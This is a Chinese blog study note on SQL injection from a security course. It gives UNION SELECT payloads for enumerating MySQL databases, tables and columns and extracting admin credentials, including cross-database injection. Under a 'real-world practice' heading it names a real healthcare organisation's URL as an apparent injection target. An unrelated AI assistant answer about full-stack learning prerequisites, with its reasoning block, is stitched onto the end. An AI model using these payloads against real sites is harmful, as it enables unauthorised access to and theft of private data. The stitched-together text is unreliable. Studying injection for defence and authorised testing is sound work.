小迪24-web通用

定义

sql注入

前端传入参数的时候数据可以被用户操纵, 并且后端没有使用过滤,转义等操作或者使用了不安全的函数就将用户传入的参数放到数据库中执行,从而使得用户拼接的恶意语句也被执行,造成数据被操纵,这种情况下产生的漏洞就叫做sql注入漏洞;

历史疑问
像这种一个 ?id=1 是一个页面然后 ?id=2 又是另外一个页面的,其实也是通过传递参数来实现的;数据库的参数不一定是某些数字字符串等敏感数据一类的值,也有可能是变量,路径,图片等,拿到后在通过后端网站代码操作去显示到前端的页面上;如下图中图片的显示就是存放的路径;通过拼接的形式显示到前端;这个就是id?1513的图片来源
结构
ACCESS 独立存在
数据库名
表名
列名
数据
--------------------------------------------
MYSQL 统一管理
最高数据库用户 =root 用户
数据库 A= 网站 A= 数据库用户 A
表名
列名
数据
数据库 B= 网站 B= 数据库用户 B
数据库 C= 网站 C= 数据库用户 C
---------------------------------------------
结构总结
为了网站和数据库的安全性, MYSQL 内置有 ROOT 最高用户,划分等级,每个用户对应管理一个数 据库,这样保证无不关联,从而不会影响到其他数据库的运行。
具体体现在源码的写法上,看引用的数据库配置文件中,说明了使用什么用户去操作
比如这个是传参的页面,可以看到包含了一个数据库的配置文件,而数据库配置文件中声明了是使用root用户来操作数据库中的数据;
声明了使用root用户操作,所以如果存在注入那就是最高的权限root;
mysql不同用户权限举例

不同的用户对应着不同的数据库,每个数据库可能都是一个网站,只有最高权限root才可以查看所有的数据库
root查看

普通用户查看
MYSQL 两种思路
ROOT 的注入攻击:常规类的猜解,正常爆库爆表爆数据
ROOT 用户的注入攻击:文件读写操作,查询其他数据库中的内容(跨库查询)注入等;
黑盒测试中可以采用 user() 获取当前用户权限,白盒中看数据库配置文件中连接的用户即可!
-----------------------------------
MYSQL5.0 以上版本:自带的数据库名 information_schema
定义如下:
information_schema :存储数据库下的数据库名及表名,列名信息的数据库
information_schema.tables :记录表名信息的表
information_schema.columns :记录列名信息表
mysql手工注入操作
前置准备

找到回显点之后,使用database()查看数据库名,为后期猜解指定数据库下的表

查看版本version(),查询数据库版本-看是否符合 information_schema,要求mysql5.0以上

查看当前用户是谁user(),是否符合 ROOT 型注入攻击

查看系统@@version_compile_os ,看是否支持大小写或文件路径选择

1、猜解数据

ps:from写在列最后面才是正确的,整体语句的意思是取出table_name的值从information_schema.tables中,并且数据库名字为syguestbook;

获取所有数据库名
UNION SELECT schema_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.schemata
获取 syguestbook 数据库下面的表名信息:
UNION SELECT table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where
table_schema='syguestbook'
-----------
如果表名称显示不全还可以使用group_concat(table_name)包裹起来;
-------------
获取表名 sy_adminuser 的列名信息: UNION SELECT column_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns
where table_name='sy_adminuser' and table_schema='syguestbook'
----------
为了防止其他数据库中也有sy_adminuser字段,可以使用条件and table_schema='syguestbook'来做限定
--------
获取指定数据:
UNION SELECT username,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from sy_adminuser
2、跨库注入
获取所有数据库名
UNION SELECT schema_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.schemata
                                        接着只需要替换数据库名字为xhcms即可
获取当前 mysql 下的所有数据库名
UNION SELECT schema_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.schemata
获取数据库名 xhcms 下的表名信息
UNION SELECT table_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.tables where
table_schema='xhcms'
获取数据库名 xhcms 下的表 manage 下的列名信息:
UNION SELECT column_name,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from information_schema.columns
where table_name='manage' and table_schema='xhcms'
获取指定数据:
UNION SELECT user,password,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17 from xhcms.manage
------
注意这里跨库查询的时候极容易出现报错,因为他会从当前用户所在的数据库中去查询这个manage字段,可以增加 xhcms.manage来做限定

 实战

 Homepage — CRF Behavioral HealthcareOur mission is to design and deliver innovative behavioral healthcare and social services, with a focus on wellness and recovery.icon-default.png?t=N7T8https://www.crfbehavioralhealthcare.org/?id=MQ%3D%3D

 sqlmap字典可以单独拿出来用,在data/txt/目录下

Accesss注入手法
#ASP+Access- 简易注入 - 字典猜解
由于 Access 数据库特性导致这个 SQL 注入是需要借助字典去猜解表名和列名的,可以自定义社工字典或采用偏移注入!
#ASP+Access- 偏移注入 - 报错显示
偏移注入就是解决表名已知,列名未知的情况!
#PHP+MYSQL- 简易注入 - 存储特性
#PHP+MYSQL- 跨库注入 - 权限属性

<think>嗯,用户这次明确询问学习"学小全栈视频"前需要掌握的基础知识。从问题表述看,用户应该是计划系统学习全栈开发的新手,可能对技术路线还不清晰。 回顾之前的对话历史,系统要求严格遵循LaTeX格式和引用规范。虽然这次问题不涉及数学公式,但需要注意代码块的规范展示。用户特意强调"参考站内引用",不过当前上下文暂无直接可引用的资料,需要基于通用全栈学习路径作答。 用户的核心诉求是构建前置知识体系,避免零基础直接学视频时的挫败感。考虑到"学小视频"通常侧重实践,应该突出操作性技能而非理论。需要平衡全面性和可执行性——既不能遗漏关键基础,又要避免列举过多概念吓退初学者。 技术层面需覆盖三个维度: 1)前端基础(HTML/CSS/JS核心语法) 2)后端入门(至少掌握一门服务器语言) 3)通用能力(Git/命令行等工具) 特别注意要提醒操作系统环境准备,因为全栈项目常涉及环境配置问题。对于数据库部分,鉴于多数课程从MySQL切入,应优先推荐关系型数据库基础而非NoSQL。 最后设计相关问题时,要引导用户检验自身基础:JavaScript熟练度检测题很必要,因为这是全栈的核心枢纽语言。服务器语言选择建议也需强调,避免初学者在Python/Java等选项中徘徊。 </think>学习"学小全栈视频"前需系统掌握以下基础知识,按优先级排序: ### 一、核心编程基础 1. **编程逻辑** - 掌握变量、循环、条件分支等基础概念 - 理解算法流程图设计(如伪代码编写) - 示例:实现冒泡排序算法 ```python def bubble_sort(arr): n = len(arr) for i in range(n-1): for j in range(0, n-i-1): if arr[j] > arr[j+1]: arr[j], arr[j+1] = arr[j+1], arr[j] ``` 2. **至少一门语言** - 前端方向:JavaScript(ES6+特性必备) - 后端方向:Python/Java/Node.js 三选一 - 基础要求:能独立实现CRUD操作模块 ### 二、Web开发基础 | 技术栈 | 必学内容 | 掌握标准 | |--------------|-----------------------------------|-------------------------| | **HTML5** | 语义化标签/表单验证/多媒体 | 手写符合W3C标准的页面 | | **CSS3** | Flex/Grid布局/响应式设计/动画 | 实现跨设备适配的页面 | | **JavaScript**| DOM操作/AJAX/事件机制/闭包 | 开发交互式前端功能 | ### 三、计算机通识 1. **网络基础** - HTTP/HTTPS协议工作机制(重点掌握状态码和请求方法) - TCP/UDP区别,DNS解析过程 - RESTful API设计规范 2. **数据库基础** ```sql -- 掌握基础SQL操作 CREATE TABLE users ( id INT PRIMARY KEY AUTO_INCREMENT, name VARCHAR(50) NOT NULL ); SELECT * FROM users WHERE id > 10 ORDER BY create_time DESC; ``` ### 四、工具链准备 1. **开发环境** - VS Code/Sublime等编辑器熟练使用 - Chrome开发者工具调试(Network/Debugger面板) 2. **版本控制** - Git基础命令(`git clone`, `commit`, `push`, `branch`) - GitHub/Gitlab仓库操作 > 建议先完成30小时以上的编程实践再开始课程学习,可显著提升学习效率[^1]。
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值